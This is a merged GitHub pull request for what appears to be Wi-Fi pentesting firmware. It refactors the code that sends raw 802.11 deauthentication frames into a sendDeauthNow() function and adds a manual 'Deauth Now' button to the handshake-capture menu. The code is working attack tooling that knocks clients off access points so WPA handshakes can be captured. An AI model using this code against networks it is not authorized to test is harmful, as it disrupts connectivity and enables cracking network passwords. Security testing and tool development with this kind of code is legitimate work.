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pcap sniffer: re-add manual "Deauth Now" button to capture handshake menu #2667

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Merged
bmorcelli merged 1 commit into from
Jul 19, 2026
+26 −27
Merged

pcap sniffer: re-add manual "Deauth Now" button to capture handshake menu #2667

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53 changes: 26 additions & 27 deletions src/modules/wifi/sniffer.cpp
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Original file line number Diff line number Diff line change
Expand Up @@ -1039,6 +1039,30 @@ static std::vector<String> recentSsidsOnChannel(uint8_t channel, size_t maxItems
return out;
}

static void sendDeauthNow() {
bool deauth_sent = false;
if (registeredBeacons.size() > 40)
registeredBeacons.clear();
Serial.println("<<---- Sending deauth packets ---->>");
for (auto registeredBeacon : registeredBeacons) {

@Mysteriza Mysteriza Jul 20, 2026

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Fixed: changed auto to const auto & (commit 64f3e7a).

if (registeredBeacon.channel == ch) {
memcpy(&ap_record.bssid, registeredBeacon.MAC, 6);
wsl_bypasser_send_raw_frame(&ap_record, registeredBeacon.channel);
send_raw_frame(deauth_frame, 26);
deauth_sent = true;
deauth_counter++;
vTaskDelay(2 / portTICK_RATE_MS);
}
}
if (deauth_sent) {
tft.setTextSize(1);
tft.setTextDatum(0);
tft.drawString("Deauth sent.", DEAUTH_MSG_X, DEAUTH_MSG_Y);
deauth_displayed = true;
deauth_display_ts = millis();
}
}

//===== SETUP =====//
void sniffer_setup() {
// Stop WebUI before setting WiFi mode for sniffer
Expand Down Expand Up @@ -1238,6 +1262,7 @@ void sniffer_setup() {
redraw = true;
} },
{deauth ? "Disable deauth attack" : "Enable deauth attack", [&]() { deauth = !deauth; } },
{"Deauth Now", [&]() { sendDeauthNow(); } },
{"Reset Counters",
[&]() {
packet_counter = 0;
Expand Down Expand Up @@ -1345,33 +1370,7 @@ void sniffer_setup() {
}

if (deauth && (millis() - deauth_tmp) > DEAUTH_INTERVAL) {
bool deauth_sent = false;
if (registeredBeacons.size() > 40)
registeredBeacons.clear(); // Clear registered beacons to restart search and avoid restarts
Serial.println("<<---- Starting Deauthentication Process ---->>");
for (auto registeredBeacon : registeredBeacons) {
if (registeredBeacon.channel == ch) {
memcpy(&ap_record.bssid, registeredBeacon.MAC, 6);
wsl_bypasser_send_raw_frame(
&ap_record, registeredBeacon.channel
); // writes the buffer with the information
// XXX: ap_record reused between this and wifi_atks.h
send_raw_frame(deauth_frame, 26);
deauth_sent = true;
deauth_counter++;
vTaskDelay(2 / portTICK_RATE_MS);
}
}

if (deauth_sent) {
// draw the message and start the timer
tft.setTextSize(1); // optional, keep consistent with your UI
tft.setTextDatum(0); // optional: ensure text draws from top-left if using TFT_eSPI-like API
tft.drawString("Deauth sent.", DEAUTH_MSG_X, DEAUTH_MSG_Y);
deauth_displayed = true;
deauth_display_ts = millis();
}

sendDeauthNow();
deauth_tmp = millis();
}

Expand Down
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